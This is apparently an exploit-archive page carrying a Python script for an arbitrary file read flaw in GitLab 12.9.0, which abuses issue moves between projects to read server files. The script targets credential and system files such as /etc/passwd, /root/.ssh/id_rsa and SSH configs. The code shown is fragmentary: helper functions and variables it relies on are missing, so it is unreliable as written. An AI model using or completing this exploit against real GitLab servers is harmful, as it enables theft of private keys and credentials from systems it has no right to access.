Exploits / Vulnerability Discovered : 2020-05-06 |
Type : webapps |
Platform : ruby
This exploit / vulnerability Gitlab 12.9.0 arbitrary file read is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
# Exploit Title: GitLab 12.9.0 - Arbitrary File Read
# Google Dork: -
# Date: 2020-05-03
# Exploit Author: KouroshRZ
# Vendor Homepage: https://about.gitlab.com
# Software Link: https://about.gitlab.com/install
# Version: tested on gitlab version 12.9.0
# Tested on: Ubuntu 18.04 (but it's OS independent)
# CVE : -
#####################################################################################################
# #
# Copyright (c) 2020, William Bowling of Biteable, a.k.a vakzz #
# All rights reserved. #
# #
# Redistribution and use in source and compiled forms, with or without modification, are permitted #
# provided that the following conditions are met: #
# #
# * Redistributions of source code must retain the above copyright notice, this list of #
# conditions and the following disclaimer. #
# #
# * Redistributions in compiled form must reproduce the above copyright notice, this list of #
# conditions and the following disclaimer in the documentation and/or other materials provided #
# with the distribution. #
# #
# * Neither the name of William Bowling nor the names of Biteable, a.k.a vakzz may be used to #
# endorse or promote products derived from this software without specific prior written permission. #
# #
#####################################################################################################
# Exploit Title: automated exploit for Arbitrary file read via the UploadsRewriter when moving and issue in private gitlab server
# Google Dork: -
# Date: 05/03/2020
# Exploit Author: KouroshRZ
# Vendor Homepage: https://about.gitlab.com
# Software Link: https://about.gitlab.com/install
# Version: tested on gitlab version 12.9.0
# Tested on: Ubuntu 18.04 (but it's OS independent)
# CVE : -
import requests
import json
from time import sleep
print("[+] url of file {}: \n".format(f, fileUrl))
fileContentResult = session.get(fileUrl)
if fileContentResult.status_code == 404:
print("[-] No such file or directory : {}".format(f))
else:
print("[+] Content of file {} read from server ...\n\n".format(f))
print(fileContentResult.text)
# Put the files you want to read from server here
# The files on server should have **4 or more permission (world readable files)
files = {
'/etc/passwd',
'/etc/ssh/sshd_config',
'/etc/ssh/ssh_config',
'/root/.ssh/id_rsa',
'/var/log/auth.log'
# ...
# ...
# ...
}
for f in files:
createNewIssue("project_01", "issue01_{}".format(f), f)
moveLastIssue("project_01", "project_02",f)
sleep(3)